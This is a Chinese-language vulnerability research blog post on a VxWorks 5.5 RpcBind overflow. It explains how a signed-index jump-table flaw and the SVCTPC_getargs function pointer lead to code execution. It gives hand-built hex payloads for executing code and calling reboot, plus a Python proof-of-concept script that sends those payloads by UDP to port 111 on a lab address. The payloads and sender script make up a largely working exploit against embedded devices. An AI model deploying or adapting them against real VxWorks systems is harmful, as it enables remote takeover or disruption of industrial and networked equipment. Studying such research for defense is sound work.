Vxworks——RpcBind漏洞研究
我们团队对于Vxworks5.5版本的研究已经进行了好久了,之前的文章发在了 吾爱破解论坛,作者是另外一位朋友。最近因为其他的一些原因也开始尝试着写一些博客,发布这篇文章的时候应该是接着文章二的,接下来就发布以下最新的研究成果吧
最新进展
漏洞研究进展
上周把该漏洞的原因分析的差不多了,接下来就是要想办法构造能造成任意漏洞溢出的payload了,可以看到,在漏洞溢出点:
前有一个有符号数的比对,这说明该字段必须在0x0000000~0x00000002(小于2的正数)和0x80000000~0xffffffff(负数)之间。
另外这里发现了一点新东西:在x86体系下,对于MEM[NUMX]这种形式的乘法,是以忽略符号位的形式进行运算的,如:0x800000014=0x00000004(将最高位1去掉后实际上是0x00000004)。
对于这种形式的运算,可以造成跳转表里面的任意函数执行:
但是真正意义上的任意漏洞执行还要进一步发掘,另外还考虑了一种可能性就是在函数执行过程中会将payload的某些字段插入到跳转表中,从而设置特殊表号即可达成任意代码执行,但是遗憾的是对Vxworks的运行内存进行搜索,并没有在003af458附近发现相关特殊代码。只能另辟蹊径,从这些函数中找到任意代码执行,另外在执行这些函数之前push了一些参数:
其中ebx结构如下:
而ecx为payload的缓冲区:
为了实现在跳转表函数中实现任意代码执行,我对每个函数进行了分析,后发现在003Af484的SVCTPC_getargs这个函数指针的代码可以实现限定条件下的任意代码执行,其汇编代码如下:
可以看到,在精心构造的payload下,edx为传入的第二个参数,即为收包函数的payload,对于该函数,当EIP运行到call edx时,EIP跳转到payload处,执行payload处的代码:
但是该方法的缺陷在于,由于以下payload字段的限制,只能在前8个字节做手脚,这对构造payload的人员的x86指令集的机械码掌握水平提出了较高要求
payload的构造
jmp的汇编到机械码的基础知识
接下来就说明以下jmp的汇编到机械码的转化(近跳):
① jmp的机械码为0xe9
② jmp汇编转化为机械码过程为:
汇编:jmp 目标地址
机械码转化过程:e9 (目标地址-pc)->e9 (目标地址-(当前jmp指令地址+5))
(当前jmp指令地址+5)的原因是因为在jmp在近跳转时长度固定为5,需要注意到机械码中地址表示的大小端问题
还有就是远跳的转化,其不同点在于:
① jmp的机械码为0xea
② 后跟地址为绝对地址,不涉及相对地址的计算
第一阶段payload
首先为了方便起见将payload 的字段表重新发表并根据以上研究结果修改一下:
字节序号 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 |
---|---|---|---|---|---|---|---|---|
含义 | ShellCode | 必须为0 | 必须为2 | X | X | X | 跳转表序号(有符号数小于2) | 小于190(无符号数) |
根据以上payload的字段表,可以构造出一个思路,因为只能对前8个byte做手脚,所以jmp到第4字节然后再利用多余的12byte进行限制更少的构造。但是在构造payload时要注意Vxworks接收数据包时会进行大小端的转化。
对于以上分析,可以构造一个payload,实现代码执行:
000007e900000000000000021111111122222222333333338000000B00000002
其中80000000B为第B个表项
如下是执行111111112222222233333333的代码:
第二阶段payload
做到了这一步,就想调用系统库资源,选取reboot函数进行测试,构造如下payload:
000007e900000000000000023841e0ea00000000333333338000000B00000002
但是这里出现了一个比较奇怪的问题:
这里出现了一个叫一般保护错误的玩意…
暂时不知道时什么玩意,根据内存来看,有可能是内核和用户态的冲突?
测试脚本
为了方便测试,下面附上简单的测试代码:
import socket
def poc(host,Payload, rpcPort=111,PktNum=10000):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
for i in range(1,PktNum):
sock.sendto(bytes.fromhex(Payload), (host, rpcPort))
def poc_tcp_close():
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(('192.168.102.88',21))
sock.close()
if __name__ == '__main__':
PAYLOAD_HEX = 'cc6ff7e200000000000000020001a086000000040000000488888888000000110000001100001111111111111111111111111111'
UDP_PAYLOAD = '72fe1d130000000000000002000186a00001977c0000000000000000000000000000000000000000'
#test='72fe1d130000000000000002000cc6ff7e200000000000000011121314'
#test='000102030405060708090a0b0c0d0e101112131415161718191a1b1c'
test='cc6ff7e20405060708090a0b0c0d0e101112131415161718191a1b1c'
import sys
a='123'
while a!='ok':
a=input('请输入选项\n')
if(a=='payload'):
poc('192.168.102.88',PAYLOAD_HEX,PktNum=2)
elif(a=='test'):
poc('192.168.102.88',test,PktNum=2)
elif(a=='else'):
b=input('请输入payload\n')
poc('192.168.102.88',b,PktNum=2)
print("已发送\n")
#poc2('192.168.102.1')